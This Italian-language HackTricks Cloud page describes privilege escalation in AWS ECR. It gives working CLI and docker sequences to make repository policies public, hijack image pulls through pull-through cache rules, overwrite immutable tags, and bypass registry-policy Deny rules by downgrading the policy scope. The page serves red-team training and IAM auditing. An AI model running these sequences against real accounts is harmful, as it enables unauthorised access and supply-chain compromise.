AWS - ECR Privesc
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un attaccante con i ecr:GetAuthorizationToken e ecr:BatchGetImage può effettuare il login a ECR e scaricare immagini.
Per maggiori informazioni su come scaricare le immagini:
Impatto potenziale: privesc indiretto dovuto all'intercettazione di informazioni sensibili nel traffico.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un attaccante con tutte queste autorizzazioni può effettuare il login a ECR e caricare immagini. Questo può essere utile per escalare privilegi verso altri ambienti in cui tali immagini vengono utilizzate.
Per imparare come caricare una nuova immagine o aggiornare una esistente, consulta:
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Come la sezione precedente, ma per repository pubblici.
ecr:SetRepositoryPolicy
Un attaccante con questa autorizzazione potrebbe modificare la policy del repository per concedersi (o anche a chiunque) accesso in lettura/scrittura.
Per esempio, in questo esempio l'accesso in lettura è concesso a tutti.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenuto di my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Come nella sezione precedente, ma per repository pubbliche.
Un attacker può modificare la repository policy di un ECR Public repository per concedere accesso pubblico non autorizzato o per escalare i propri privilegi.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impatto potenziale: Accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images.
ecr:PutRegistryPolicy
Un attacker con questo permesso potrebbe modificare la registry policy per concedere a se stesso, al suo account (o anche a chiunque) read/write access.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Abusa delle regole ECR Pull Through Cache (PTC) per mappare un upstream namespace controllato dall'attacker su un prefisso ECR privato attendibile. Questo fa sì che i workload che effettuano pull dall'ECR privato ricevano in modo trasparente immagini dell'attacker senza alcun push verso l'ECR privato.
- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si usa ECR Public come upstream: ecr-public:* per creare/pushare nel repo pubblico.
- Upstream testato: public.ecr.aws
Passaggi (esempio):
- Prepare attacker image in ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
- 
Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws 
- 
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test 
Impatto potenziale: compromissione della supply-chain mediante il dirottamento dei nomi delle immagini interne sotto il prefisso scelto. Qualsiasi workload che effettua pull di immagini dall'ECR privato usando quel prefisso riceverà contenuto controllato dall'attacker.
ecr:PutImageTagMutability
Abusa di questa autorizzazione per rendere mutabile un repository con tag immutabili e sovrascrivere tag affidabili (es. latest, stable, prod) con contenuto controllato dall'attacker.
- Permessi richiesti: ecr:PutImageTagMutabilitypiù capacità di push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage).
- Impatto: compromissione della supply-chain sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag.
Passaggi (esempio):
Avvelena un tag immutabile cambiando la mutabilità
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
Global registry hijack via ROOT Pull-Through Cache rule
Crea una regola Pull-Through Cache (PTC) usando il valore speciale ecrRepositoryPrefix=ROOT per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato sarà servito in modo trasparente dall'upstream, abilitando supply-chain hijacking senza dover pushare su ECR privato.
- Permessi richiesti: ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken.
- Impatto: i pull a <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>avranno successo e creeranno automaticamente repository privati derivati dall'upstream.
Nota: Per le regole
ROOT, omettere--upstream-repository-prefix. Specificarlo causerà un errore di validazione.
Demo (us-east-1, upstream public.ecr.aws)
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws
# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
ecr:PutAccountSetting (Abbassare REGISTRY_POLICY_SCOPE per eludere i Deny della registry policy)
Abusa di ecr:PutAccountSetting per cambiare lo scope della registry policy da V2 (policy applicata a tutte le azioni ECR) a V1 (policy applicata solo a CreateRepository, ReplicateImage, BatchImportUpstreamImage). Se una registry policy restrittiva con Deny blocca azioni come CreatePullThroughCacheRule, il downgrade a V1 rimuove quell'applicazione e permette agli Allow della identity-policy di avere effetto.
- Permessi richiesti: ecr:PutAccountSetting,ecr:PutRegistryPolicy,ecr:GetRegistryPolicy,ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule.
- Impatto: Possibilità di eseguire azioni ECR precedentemente bloccate da un Deny della registry policy (es. creare regole PTC) impostando temporaneamente lo scope su V1.
Passi (esempio):
Eludere il Deny della registry policy su CreatePullThroughCacheRule passando a V1
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud